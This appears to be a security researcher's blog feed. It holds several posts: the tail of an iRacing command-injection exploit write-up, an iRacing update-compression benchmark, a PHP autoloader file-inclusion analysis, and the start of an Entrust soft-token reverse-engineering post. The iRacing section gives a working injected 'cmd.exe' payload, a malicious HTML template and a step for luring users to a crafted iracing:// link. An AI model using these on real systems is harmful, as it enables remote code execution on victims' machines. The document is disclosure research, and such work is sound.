<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">t</span> <span class="o">=</span> <span class="p">{</span><span class="dl">'</span><span class="s1">parameters</span><span class="dl">'</span><span class="p">:</span> <span class="dl">''</span><span class="p">,</span> <span class="dl">'</span><span class="s1">task</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">legacyPlayReplay</span><span class="dl">'</span><span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">interop</span><span class="p">.</span><span class="nx">startSim</span><span class="p">(</span><span class="nx">t</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="dl">'</span><span class="s1">monitor" &amp;&amp; cmd.exe /c "echo hacked &gt; C:/Users/ss23/Documents/hacked.txt</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p>After closing the simulator, our code is executed, and we have written a file to the Documents folder! This indicates our exploit is working, and we can execute arbitrary code! No magic tricks are needed, just exploiting the insecure string concatenation.</p>

<h1 id="putting-it-all-together">Putting it all together</h1>
<p>While the above example proves it’s possible, we can tidy up the exploit a little by having it execute silently in the background. The trick to getting this to work is to somehow cause the first command to fail instantly, which then calls ours afterwards. We’ll be getting the program to read from a non-existent file to get it to fail instantly in our payload from now on.</p>

<p>The final steps to exploit the issue are:</p>
<ol>
  <li>Host a malicious HTML file online, with the contents:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
<span class="nx">t</span> <span class="o">=</span> <span class="p">{</span><span class="dl">'</span><span class="s1">parameters</span><span class="dl">'</span><span class="p">:</span> <span class="dl">''</span><span class="p">,</span> <span class="dl">'</span><span class="s1">task</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">legacyPlayReplay</span><span class="dl">'</span><span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">interop</span><span class="p">.</span><span class="nx">startSim</span><span class="p">(</span><span class="nx">t</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="dl">'</span><span class="s1">monitor" &lt; foo &amp; cmd.exe /c "Your Payload Here</span><span class="dl">'</span><span class="p">);</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div>    </div>
  </li>
  <li>Trick an iRacing user into browsing to <code class="language-plaintext highlighter-rouge">iracing://https://example.com/iracing-payload.html</code></li>
</ol>

<p>There will be a prompt asking if they want to open iRacing, but beyond that, it’ll be a silent execution of your payload!
Here’s a video of it being exploited, with the payload being to create a file on the Desktop. Pay attention to the Desktop icons on the left.</p>
<video controls="" width="740">
    <source src="/assets/videos/iracing-exploit-poc.mp4" />
    <source src="/assets/videos/iracing-exploit-poc.mkv" />
    Your browser doesn't support [this video](/assets/video/iracing-exploit-poc.mp4). Instead, you can download it directly.
</video>

<h1 id="what-does-this-mean-for-users">What does this mean for users?</h1>
<p>This bug is almost as bad as it can get. It is simple to find, simple to exploit, almost silent to execute, can be wormed, and as far as I can tell, cannot be mitigated by iRacing on the server side.
Worse still, because of the membership model of iRacing, it is impossible for anyone who doesn’t have a current subscription to update, meaning they’ll be affected by this until they manually uninstall the iRacing client from their device.
On the upside, because iRacing requires members to be fully patched to play the game, the entire active user base is already patched against this.</p>

<h1 id="other-exploitation-areas">Other exploitation areas</h1>
<p>While this post focused on the easiest path to exploitation, the fact <code class="language-plaintext highlighter-rouge">contextIsolation</code> was not set means there were likely many more ways to exploit the UI prior to the fixes issued on 2023-05-10. I took the time to write some exploits that read and write arbitrary files, but these are more complicated and less impactful than the example presented here.</p>

<h1 id="disclosure">Disclosure</h1>
<p>I disclosed this bug to iRacing. The (abbreviated) disclosure timeline is as follows:</p>
<ul>
  <li>2023-01-23 - Initial disclosure of the issue</li>
  <li>2023-01-24 - Response indicating the issue is being investigated</li>
  <li>2023-02-12 - Follow up asking for an update</li>
  <li>2023-02-13 - Response indicating issue is still being investigated</li>
  <li>2023-02-13 - Disclosure of <code class="language-plaintext highlighter-rouge">startSim</code> method of exploitation</li>
  <li>2023-04-01 - Response indicating testing has begun on fixes and should be deployed imminently</li>
  <li>2023-05-07 - Response indicating update will be released 2023-05-11</li>
  <li>2023-05-09 - Response indicating update will be on 2023-05-10 instead</li>
  <li>2023-05-10 - <a href="https://support.iracing.com/support/solutions/articles/31000169917-2023-season-2-patch-5-release-notes-2023-05-08-02-">Update release to end-users resolving issues</a></li>
</ul>]]></content><author><name></name></author><category term="iracing" /><category term="reverse-engineering" /><category term="electron" /><summary type="html"><![CDATA[I’ve recently been looking into iRacing, which is an online racing simulation video game.]]></summary></entry><entry><title type="html">Optimising iRacing update sizes by 20% with this one simple trick!</title><link href="https://blog.ss23.geek.nz/2023/03/20/decrease-iracing-update-sizes.html" rel="alternate" type="text/html" title="Optimising iRacing update sizes by 20% with this one simple trick!" /><published>2023-03-20T11:00:00+00:00</published><updated>2023-03-20T11:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2023/03/20/decrease-iracing-update-sizes</id><content type="html" xml:base="https://blog.ss23.geek.nz/2023/03/20/decrease-iracing-update-sizes.html"><![CDATA[<p>I’m always on the lookout for new ways to procrastinate, and what better way to do that than by delving into the inner workings of my favorite time-suck, <a href="https://www.iracing.com/">iRacing</a>? So, I took a break from virtual racing to figure out how updates are packaged and installed. Little did I know, this quest would lead me down a <a href="https://en.wikipedia.org/wiki/Arbitrary_code_execution">rabbit hole</a>, but hey, at least I’ll be a pro at updating my iRacing game.</p>

<h1 id="how-big-is-iracing">How big is iRacing?</h1>
<p>The update packages for iRacing are <strong>big</strong>. For perspective, my iRacing directory, minus the tracks and cars (which are installed individually and separately), is 1.35GB:</p>

<p><img src="/assets/images/iracing-base-directory-size.png" alt="The iRacing installation directory shows a total size of 1.35GB" /></p>

<p>And here is the size of an update package, compared with a fresh install package:</p>

<p><img src="/assets/images/iracing-package-sizes.png" alt="An install file for iRacing of 483MB and a system update package of size 573MB" /></p>

<p>With only 483MB to install iRacing from scratch, a system update package size of 573MB seems really excessive.</p>

<h1 id="what-is-an-update-made-of">What is an update made of?</h1>
<p>Through the rigorous application of <del>guessing</del> hard work and perseverance, I was able to write some code that can unpack an iRacing update and view the underlying uncompressed files. In the case of a system update package like this, it’s just a copy of the iRacing directory, with all files contained in it (along with some metadata to delete files that are no longer required):</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python ./extract-package.py system_2022.12.20.03.pkg extract/
Detected 201 files
 Signature: be113d051f9bc9c1cc3130e0b5392412ef097f58e592576162074b0c1516a0823ec0a62d530d76a06f82e9c860db54414a82e26d76717c4c6ad2beef4698b162fa54f10871008597247a1a51648c01b2a2902dffeb524145c56b0730c9be92f7beb2f622021b5a3614d92564dea31111c55f7d1e81f54fc3c81f9dc124bf67e4
</code></pre></div></div>

<p>This update package unpacks to <strong>1083MB</strong> of files.</p>

<h1 id="how-are-updates-compressed">How are updates compressed?</h1>
<p>You may be surprised to learn that the compression algorithm in use for packaging updates is <a href="https://en.wikipedia.org/wiki/Deflate">DEFLATE</a>, invented in 1993. While the compression ratios you can get from it aren’t horrible, the time required to compress or decompress the files definitely is. A quick look at some representative <a href="https://github.com/facebook/zstd#benchmarks">benchmarks</a> shows DEFLATE (as implemented by <a href="https://www.zlib.net/">zlib</a>) as being 5x slower to compress and 4x slower to decompress than a modern algorithm like zstd.</p>

<p>So, what kind of improvements could be seen with a switch?</p>

<h1 id="benchmarking-it">Benchmarking it</h1>
<p>Since I’ve already implemented code to generate and unpack an update package, we can just measure it directly. All the tests are being performed on the files from <a href="https://mfiles.iracing.com/updates/system_2022.12.20.03.pkg">system_2022.12.20.03.pkg</a>.</p>

<table>
  <thead>
    <tr>
      <th>Algorithm</th>
      <th>Size</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Original (DEFLATE)</td>
      <td>574 MB</td>
    </tr>
    <tr>
      <td><strong>zstd</strong></td>
      <td><strong>581 MB</strong></td>
    </tr>
  </tbody>
</table>

<p><em>Huh?!</em> Migrating to a newer algorithm didn’t help at all! To understand why some more understanding of the package format is required.</p>

<h1 id="block-size-limits-and-other-problems">Block size limits and other problems</h1>
<p>When decompressing packages from iRacing, I noticed that it was never the case that a compressed block had more than 0x20000 bytes of uncompressed data stored in it. While not something I was familiar with, I’m told this is actually a relatively common way of providing two features of a given compression scheme:</p>
<ul>
  <li>The ability to seek to an arbitrary location in a compressed file, reading at most 0x20000 extra compressed bytes or so. This is because if we know that each data block is 0x20000 bytes, we can skip forward block by block without bothering to actually decompress anything.</li>
  <li>Easily parallelized decompression. Since each block is compressed independently, decompression can be performed independently too, allowing for each CPU thread to be busy.</li>
</ul>

<p>Strangely, I don’t think either of these features are actually useful for iRacing. The first is never going to be used, as updates are unpacked entirely, and never require seeking to a specific place in a file. The second because each file is already compressed independently. This means that you can parallelize decompression across files, waiting at most for the largest file to finish. Even in that case, if decompression speed was a desired property of the system, using DEFLATE like this is already massively slower than something like zstd.
To demonstrate the inefficiency of this method of splitting files, here’s an example from a file that contains large blocks of repeating data:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>iRacingSim64DX11.exe
  Uncompressed size: 176062648 0xa7e80b8
  Datablock size   : 10068119 0x99a097
  [...]
    Compressed size  : 151 0x97     &lt;- **What is going on here?**
    Uncompressed size: 131072 0x20000

    Compressed size  : 151 0x97
    Uncompressed size: 131072 0x20000

    Compressed size  : 151 0x97
    Uncompressed size: 131072 0x20000

</code></pre></div></div>

<p>Because this file contains a large number of NULL bytes (<code class="language-plaintext highlighter-rouge">0x00</code>), and the package compression splits blocks up every 0x20000 bytes, we’re getting a degenerate case where massive amounts of easily compressible data is being stored hundreds of times less efficiently than it could be. The size of the metadata of each block is at least 24 bytes, which means over 10% of the size of each of these compressed blocks is just metadata!
For comparison, if we just <a href="https://en.wikipedia.org/wiki/ZIP_(file_format)">zipped</a> up the extracted files, we’d likely see better results than the iRacing implementation, even though the ZIP format uses DEFLATE too, just because blocks aren’t being split in this particular way.</p>

<table>
  <thead>
    <tr>
      <th>Algorithm</th>
      <th>Size</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>ZIP (DEFLATE)</strong></td>
      <td><strong>567 MB</strong></td>
    </tr>
  </tbody>
</table>

<p>Coming in at <strong>567MB</strong>, it’s the smallest we’ve seen yet! Now, what if we apply this idea of not constraining block size to zstd? This is simple, even with the existing code, as we can just modify the maximum block size from 0x20000 to something significantly higher than any file stored in the archive. Voilà, we have a package with an unlimited block size.</p>

<table>
  <thead>
    <tr>
      <th>Algorithm</th>
      <th>Size</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Original (DEFLATE)</td>
      <td>574 MB</td>
    </tr>
    <tr>
      <td>zstd (block size limited)</td>
      <td>581 MB</td>
    </tr>
    <tr>
      <td>ZIP (DEFLATE)</td>
      <td>567 MB</td>
    </tr>
    <tr>
      <td><strong>zstd</strong></td>
      <td><strong>512 MB</strong></td>
    </tr>
  </tbody>
</table>

<p>Finally, we’re making some progress! That’s about <strong>10%</strong> better than the original, and we haven’t modified the package format at all.</p>

<h1 id="those-are-rookie-numbers">Those are rookie numbers</h1>
<p>For some final improvements, zstd has some knobs you can twiddle to get maximum performance, at the price of increased compression and decompression time. I’ve cranked those dials as far as practical, and the results are better yet again!</p>

<table>
  <thead>
    <tr>
      <th>Algorithm</th>
      <th>Size</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Original (DEFLATE)</td>
      <td>574 MB</td>
    </tr>
    <tr>
      <td>zstd (block size limited)</td>
      <td>581 MB</td>
    </tr>
    <tr>
      <td>ZIP (DEFLATE)</td>
      <td>567 MB</td>
    </tr>
    <tr>
      <td>zstd</td>
      <td>512 MB</td>
    </tr>
    <tr>
      <td><strong>zstd level 19</strong></td>
      <td><strong>451 MB</strong></td>
    </tr>
  </tbody>
</table>

<h1 id="final-results">Final results</h1>
<p>Well, it looks like we uncovered the secret to smaller and faster iRacing updates: ditching that outdated compression algorithm from 1993 and embracing the future with zstd. Not only did we see a whopping 20% improvement in package size, but even sticking with the default zstd options could result in a substantial speedup of decompression.</p>

<p><img src="/assets/images/iracing-graph-comparison.png" alt="A visual representation of the results in the form of a bar graph. The data is taken directly from the previous section" /></p>]]></content><author><name></name></author><category term="iracing" /><category term="reverse-engineering" /><summary type="html"><![CDATA[I’m always on the lookout for new ways to procrastinate, and what better way to do that than by delving into the inner workings of my favorite time-suck, iRacing? So, I took a break from virtual racing to figure out how updates are packaged and installed. Little did I know, this quest would lead me down a rabbit hole, but hey, at least I’ll be a pro at updating my iRacing game.]]></summary></entry><entry><title type="html">PHP Autoloading: Local File Inclusion by Design</title><link href="https://blog.ss23.geek.nz/2019/12/08/php-autloading-local-file-inclusion-by-design.html" rel="alternate" type="text/html" title="PHP Autoloading: Local File Inclusion by Design" /><published>2019-12-08T23:00:00+00:00</published><updated>2019-12-08T23:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2019/12/08/php-autloading-local-file-inclusion-by-design</id><content type="html" xml:base="https://blog.ss23.geek.nz/2019/12/08/php-autloading-local-file-inclusion-by-design.html"><![CDATA[<p>In the year 2009, <a href="https://www.php.net/releases/index.php#5.3.0">PHP 5.3 was released</a>, bringing with it <a href="https://www.php.net/releases/5_3_0.php">major new features</a> like namespaces and lambda functions. At the time, there was nothing like Python’s PEPs for PHP, but that was all about to change with the introduction of the PHP Standards Working Group, later renamed <a href="https://www.php-fig.org/">Framework Interoperatability Group</a>. The first PSR (PHP Standards Recommendations) released was <a href="https://www.php-fig.org/psr/psr-0/">PSR-0: Autoloading Standard</a>. The standard defined a way to automatically load the correct file containing a class, regardless of which vendor packaged the given code. This was later superseded by <a href="https://www.php-fig.org/psr/psr-4/">PSR-4: Autoloader</a>, which had the same purpose and a similar recommended implementation. These PSR’s paved the way for widespread Local File Inclusion issues within PHP applications, given the right (or wrong) user code.</p>

<hr />

<p>The PHP-FIG website gives several example implementations of PSR-4 which are useful to examine. The first example, <a href="https://www.php-fig.org/psr/psr-4/examples/#closure-example">https://www.php-fig.org/psr/psr-4/examples/#closure-example</a>, is the simplest to review.</p>

<p>The function <code class="language-plaintext highlighter-rouge">spl_autoload_register</code> (<em>tip: you can always visit php.net/functionname to view its documentation</em>) is used to tell the PHP engine which function to call if the code attempts to use a class which hasn’t yet been loaded. This function, a closure in the example code, will be called automatically, and be expected to read in the file which contains the class definition. As you might expect, an attacker will be able to use this to their advantage.</p>

<p>The code verifies the class namespace is known to the autoloader, <code class="language-plaintext highlighter-rouge">Foo\Bar</code> in this case, and if so, attempts to load a file based on the class name. A class of <code class="language-plaintext highlighter-rouge">Foo\Bar\Baz</code> would attempt to load the file <code class="language-plaintext highlighter-rouge">Baz.php</code>. Similarly, a class of <code class="language-plaintext highlighter-rouge">Foo\Bar\Boop\Bap</code> would attempt to load the file <code class="language-plaintext highlighter-rouge">Boop\Bap.php</code>.</p>

<hr />

<p>The PHP documentation is precise in defining what a <a href="https://www.php.net/manual/en/language.oop5.basic.php">valid class name looks like</a>. Expressed as a regular expression: <code class="language-plaintext highlighter-rouge">^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$</code>. In practice, almost all classes are simply alphanumeric (with the first character not being a number). With this restriction, it seems unlikely an attacker could coerce any autoloading to occur maliciously. Most LFI is not going to occur within a vendor library folder of PHP code. If an attacker were able to write files to that directory, they could probably attack the code in a more direct way, such as overwriting an existing class definition.</p>

<p>While this requirement is verified strictly during parsing of PHP code, if a class is instantiated at run-time with a dynamic name, the requirement can be bypassed.</p>

<p>Consider the following examples:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Example 1</span>
<span class="nv">$className</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'className'</span><span class="p">];</span> <span class="c1">// Class name from the user</span>
<span class="nv">$object</span> <span class="o">=</span> <span class="k">new</span> <span class="nv">$className</span><span class="p">();</span>
<span class="c1">// Example2</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">class_exists</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'className'</span><span class="p">]))</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">"It exists"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="k">echo</span> <span class="s2">"Invalid class name"</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In both examples, PHP will invoke the autoload in an attempt to find whether the class exists. If an attacker were to specify a malicious class name, such as one containing <code class="language-plaintext highlighter-rouge">../</code>, the autoloader would attempt to load a PHP file from a user specified directory.</p>

<p>There’s another place that loads user specified classes that might come to mind:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Example 3</span>
<span class="nb">unserialize</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'data'</span><span class="p">]);</span>
</code></pre></div></div>

<p>Unfortunately, each of these examples has problems. To investigate further, we’ll dive into the code of PHP itself.</p>

<hr />

<p>To begin, let’s review the <code class="language-plaintext highlighter-rouge">unserialize</code> code in PHP. The latest release as I write this is 7.3.8. The <code class="language-plaintext highlighter-rouge">unserialize</code> source can be found in <a href="https://github.com/php/php-src/blob/PHP-7.3.8/ext/standard/var_unserializer.c#L1217">./ext/standard/var_unserializer.c</a>, which can be viewed easily on GitHub. The code is not the most simple to read, not in the least for lacking comments, but by stepping through it, we arrive at <a href="https://github.com/php/php-src/blob/PHP-7.3.8/ext/standard/var_unserializer.c#L1217">line 1217</a>. If you recall the definition of a valid class name, this set of characters should be familiar. The code verifies, during deserialization, that any given class name is valid, and refuses to continue if it is not. By reviewing the Git history, we can find the commit that introduced this verification: <a href="https://github.com/php/php-src/commit/ff8055fc5c9750482aac7a25a074aae0b1e64706">https://github.com/php/php-src/commit/ff8055fc5c9750482aac7a25a074aae0b1e64706</a>. GitHub helpfully tells us which releases contain this commit, and it doesn’t look good as an attacker — it’s been present since the first release of PHP 5.1.0, which was released in 24 Nov 2005. To the best of my knowledge, there isn’t a distribution around that supports 5.1.0, not even CentOS!</p>

<p>Still, this tells us that initially, the protection didn’t exist, and it was only added at a later stage, which bodes well for finding other places to exploit the issue. Let’s turn our attention to the other examples provided.</p>

<hr />

<p>Both Example 1 and Example 2 end up calling the same code: <code class="language-plaintext highlighter-rouge">zend_lookup_class_ex</code>. Once again, viewing the code from the latest release on GitHub: <a href="https://github.com/php/php-src/blob/PHP-7.3.8/Zend/zend_execute_API.c#L831">./Zend/zend_execute_API.c, line 1217</a>. Skimming this code takes us to an ominous comment.</p>
<blockquote>
  <p>/* Verify class name before passing it to __autoload() */</p>
</blockquote>

<p>Once again, rummaging through the Git history, we find some luck. The <a href="https://github.com/php/php-src/commit/2d31eadbbf147a157cb4a0c89adaf30fee7371f0">commit that adds verification to this function</a> was only added in 2014, covering PHP release 5.4.24 and 5.5.8 onward. In my experience, PHP 5.3 is still common enough that you are likely to come across servers using it. For example, CentOS 7 (the latest version) still uses PHP 5.4.16, without any backported patches to resolve the issue.</p>

<p>There’s one last function that results in the autoloader being run, but it’s unlikely to be useful in practice: <code class="language-plaintext highlighter-rouge">spl_autoload_call</code>. This function will directly trigger the autoload in user-land PHP without any of the engine protections we’ve seen before now.</p>

<hr />

<script src="https://gist.github.com/ss23/6d3bb8b9079cf16c149731f9c75ffccc.js"></script>
<noscript>https://gist.github.com/ss23/6d3bb8b9079cf16c149731f9c75ffccc</noscript>

<p>Here is a non-exhaustive list of ways to trigger <code class="language-plaintext highlighter-rouge">zend_lookup_class</code>:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">class_exists</code></li>
  <li><code class="language-plaintext highlighter-rouge">method_exists</code></li>
  <li><code class="language-plaintext highlighter-rouge">new $_GET['user_input']();</code></li>
  <li><code class="language-plaintext highlighter-rouge">SoapServer::setClass</code></li>
  <li><code class="language-plaintext highlighter-rouge">DOMDocument::registerNodeClass</code></li>
  <li><code class="language-plaintext highlighter-rouge">get_parent_class</code></li>
  <li><code class="language-plaintext highlighter-rouge">is_a</code></li>
  <li><code class="language-plaintext highlighter-rouge">get_class_vars</code></li>
  <li><code class="language-plaintext highlighter-rouge">get_class_methods</code></li>
  <li>Many more!</li>
</ul>

<p>As you can tell, if you happen upon a PHP 5.3 or earlier installation, you have many ways to trigger the autoloader with a malicious class name. You can always check for more functions by searching the PHP codebase for <code class="language-plaintext highlighter-rouge">zend_lookup_class</code> or <code class="language-plaintext highlighter-rouge">zend_lookup_class_ex</code> yourself.</p>

<hr />

<p>Exploiting can be extremely easy in the simplest case, but require some trickery in more complex cases. For a complete exploitation example, see <a href="https://zxsecurity.co.nz/assets/files/advisories/ZX_Security_Advisory_-_Squiz_Matrix_CMS_-_Multiple_Vulnerabilities.pdf">CVE-2019–19373 (PHP unserialization in Squiz Matrix CMS)</a>.</p>]]></content><author><name></name></author><category term="exploit" /><category term="php" /><summary type="html"><![CDATA[In the year 2009, PHP 5.3 was released, bringing with it major new features like namespaces and lambda functions. At the time, there was nothing like Python’s PEPs for PHP, but that was all about to change with the introduction of the PHP Standards Working Group, later renamed Framework Interoperatability Group. The first PSR (PHP Standards Recommendations) released was PSR-0: Autoloading Standard. The standard defined a way to automatically load the correct file containing a class, regardless of which vendor packaged the given code. This was later superseded by PSR-4: Autoloader, which had the same purpose and a similar recommended implementation. These PSR’s paved the way for widespread Local File Inclusion issues within PHP applications, given the right (or wrong) user code.]]></summary></entry><entry><title type="html">The poor design decisions of Entrust IdentityGuard soft tokens</title><link href="https://blog.ss23.geek.nz/2019/10/24/the-poor-design-decisions-of-entrust-identityguard-soft-tokens.html" rel="alternate" type="text/html" title="The poor design decisions of Entrust IdentityGuard soft tokens" /><published>2019-10-24T23:00:00+00:00</published><updated>2019-10-24T23:00:00+00:00</updated><id>https://blog.ss23.geek.nz/2019/10/24/the-poor-design-decisions-of-entrust-identityguard-soft-tokens</id><content type="html" xml:base="https://blog.ss23.geek.nz/2019/10/24/the-poor-design-decisions-of-entrust-identityguard-soft-tokens.html"><![CDATA[<p>It’s not uncommon to see software tokens used for <a href="https://en.wikipedia.org/wiki/Multi-factor_authentication">MFA</a> (Multi-factor authentication). The most common of these are probably <a href="https://en.wikipedia.org/wiki/Time-based_One-time_Password_algorithm">TOTP</a> based solutions, such as <a href="https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&amp;hl=en">Google Authenticator</a> (or any of the other applications implementing the protocol). While they have specific weaknesses that make them inappropriate for high-value targets (namely their ability to be phished from users), they’re generally considered robust.</p>

<p>However, there’s a dark underbelly of alternative TOTP implementations that aren’t quite the same. When you sign up for GitHub’s TOTP, you are given a QR code which you can import into almost any TOTP compatible implementation you choose, even something like the command line <code class="language-plaintext highlighter-rouge">oathtool</code>. When you instead use something like Entrust’s software token (IdentityGuard), you’re forced to use their application. It’s similar enough to TOTP that you might think you could trivially switch back to a standard application, but several hurdles prevent you from doing so. In my experience, people tend to consider it “good enough”, like a more vanilla TOTP implementation, without looking into the details.</p>

<p>This post is going to explore the specific design decisions that Entrust has taken with their IdentityGuard soft tokens, and how they impact the security of the solution. The application, called “Entrust IdentityGuard Mobile” (or “Entrust ST”), can be found on both <a href="https://play.google.com/store/apps/details?id=com.entrust.identityGuard.mobile&amp;hl=en">Google Play</a> and the <a href="https://apps.apple.com/us/app/entrust-identityguard-mobile/id384717687">iOS App Store</a>, as well as a <a href="https://www.entrust.com/mobile/info/download.php">desktop version</a>.</p>

<p><em>If you’re just interested in a summary, scroll down to the bottom of the post for a short list of the possible attacks you can perform and the GitHub page the code is located on.</em></p>

<hr />

<h1 id="standard-enrollment">Standard Enrollment</h1>
<p>The way you enroll a new token with most TOTP implementations is fairly standard. You access the applications MFA configuration area, attempt to add a new token, and are presented with a QR code to scan. You can scan the QR code with your mobile phone (or otherwise decode the data within), which adds the token to your device. Some applications may require you to enter the generated TOTP token for verification and to verify time-synchronization, but this isn’t mandatory.</p>

<p>The reason this works is that all of the data your phone needs to generate a token is contained within the QR code (and the current time – hence why these are <strong>T</strong>ime-based <strong>O</strong>ne-<strong>T</strong>ime <strong>P</strong>assword). The following example QR code is taken from GitHub:
<img src="/assets/images/entrust-github1.png" alt="Screenshot of GitHub showing a QR code and general TOTP setup" /></p>

<p>The QR code can be decoded online using tools such as <a href="https://zxing.org/w/decode">https://zxing.org/w/decode</a>. When decoded, the data is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otpauth://totp/GitHub:ss23?secret=fswbcdwjeda35nn4&amp;issuer=GitHub
</code></pre></div></div>

<p>Right away, we can see a lot of generic information. The URI handler is “otpauth”, with a path specifier of “totp”, and a “secret” parameter. When I scan this QR code to my phone, I can see the information is used to configure the tokens I’ll receive:</p>

<p><img src="/assets/images/entrust-google-authenticator.png" alt="Screenshot of Google Authenticator showing a code of 934 210 for account named &quot;GitHub (ss23)&quot;" /></p>

<p>We can confirm that all is well by generating a QR code on our computer locally, with the default TOTP settings dialed in:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss23@crisp $ oathtool -b 'fswbcdwjeda35nn4' --totp=sha1
934210
</code></pre></div></div>

<p>This validates our previous understanding of the tokens: all the information required to generate tokens is contained within the QR code. This has some obvious security consequences as part of the enrollment process.</p>

<p><strong>A TOTP enrollment QR code must never be shared</strong> with anyone who is not setting up the token. If anyone obtains the QR code, even if they obtain it years in the future, they will be able to generate tokens and bypass the MFA requirement. This very specific requirement and obvious failure condition lead most TOTP implementors to take specific steps to protect the QR code. This includes things like never emailing out the QR code, generating the QR code in HTML instead of an image (as it might be cached), and preventing anyone from ever viewing the QR code after the enrollment is completed.</p>

<hr />

<h1 id="entrust-identityguard-enrollment">Entrust IdentityGuard Enrollment</h1>
<p><em>If you would like to follow along, you can sign up for an IntelliTrust trial, which will allow you to enroll IdentityGuard soft tokens, at <a href="https://entrust.us.trustedauth.com/#/signup">https://entrust.us.trustedauth.com/#/signup</a></em></p>

<p>To begin analyzing the Entrust enrollment process, we’ll need a QR code. Thankfully, searching Google Images for something like “entrust identityguard qr code” gives us useful results like <a href="https://www.umc.edu/DIS/files/Entrust%20Files/ios-soft-token-via-qr-code-entrust-identityguard-registration-tip-sheet.pdf">https://www.umc.edu/DIS/files/Entrust%20Files/ios-soft-token-via-qr-code-entrust-identityguard-registration-tip-sheet.pdf</a>.</p>

<p>Once we extract the QR code from that PDF and decode it, we see the following data:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>igmobileotp://?action=secactivate&amp;enc=VRUq6IoLWQRCMRITZEHtHUSWJiPwgu%2FN1BFyUHE5kxuHIEYoE3zmNTrAHeeUM5S3gzCnTy%2F%2Bdnbu%2FsjjQW%2BNEISx8C4ra8rLpxOl8E8w4KXHgjeBRgdvSzl%2BbzX5RYRrQlWgK8hsBT4pQYE0eFgW2TmRbzXu1Mu7XjKDcwsJLew32jQC2qyPLP8hljnv2rHwwsMfhQwgJUJYfctwLWWEDUFukEckaZ4O&amp;v=1&amp;mac=mhVL8BWKaishMa5%2B
</code></pre></div></div>

<p>Immediately we can see this is drastically different from the process we dealt with for standard TOTP tokens. Of note is the different URL handler, which indicates this QR code is only able to be used with the IdentityGuard application, and the enc and mac parameters, indicating the data contained within is encrypted somehow. This is confirmed by viewing the enrollment PDF again, which contains a password next to the QR code.</p>

<p>To aid in further investigation, I’m going to switch to using an example enrollment email from the IntelliTrust trial, which allows me to choose which activation methods can be used for the token. By default, all methods are selected, which results in an email looking like this:</p>

<p><img src="/assets/images/entrust-email.png" alt="Email for Entrust activation showing a QR code, password, serial number, activation code, and other information" /></p>

<p>This email indicates there are three ways to enroll a token: online enrollment using a URL, offline enrollment using a QR code, or offline enrollment using an address, serial, and activation code.</p>

<p>From here we’re going to need to use some reverse engineering and brute-force to determine how the enrollment takes place. I won’t go into the details of how I performed this here, but the result of this work can be found on my GitHub: <a href="https://github.com/ss23/entrust-identityguard-tools/">https://github.com/ss23/entrust-identityguard-tools/</a>.</p>

<h1 id="entrust-identityguard-qr-codes">Entrust IdentityGuard QR Codes</h1>
<p>The QR code data contains a salt/nonce, which when combined with the password using PBKDF2-HMAC-SHA256, generates an AES key to decrypt the data:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ss23@crisp $ ./decode-qr-uri.py 'igmobileotp://?action=secactivate&amp;enc=UuMXVIqUa8RglsnNYY7eUb9hHJX7WZMO0dq95remibffJhkjhmOYjNezwh2%2Bx7pEqy4tNPIfsqg2Hzwx0a78fbeox0i6crZY0dO4PQfe3XUSBx%2B8cw79TmgKybUo2kfX385sSif8v5rP46uaaXk3jV3xrarfjDNRU7%2FJ0YZ64v65GMlOzoFI5Kz64vnKFwdY9xqCsBF110Q%3D&amp;v=1&amp;mac=9mRPt5k%2FBAM56bR2' 76916364
{"sn":"18924-27533","ac":"0186-3302-4398-6152","policy":"{\"allowUnsecured\":\"false\"}","regurl":"ss23.us.trustedauth.com/api/mobile"}
</code></pre></div></div>

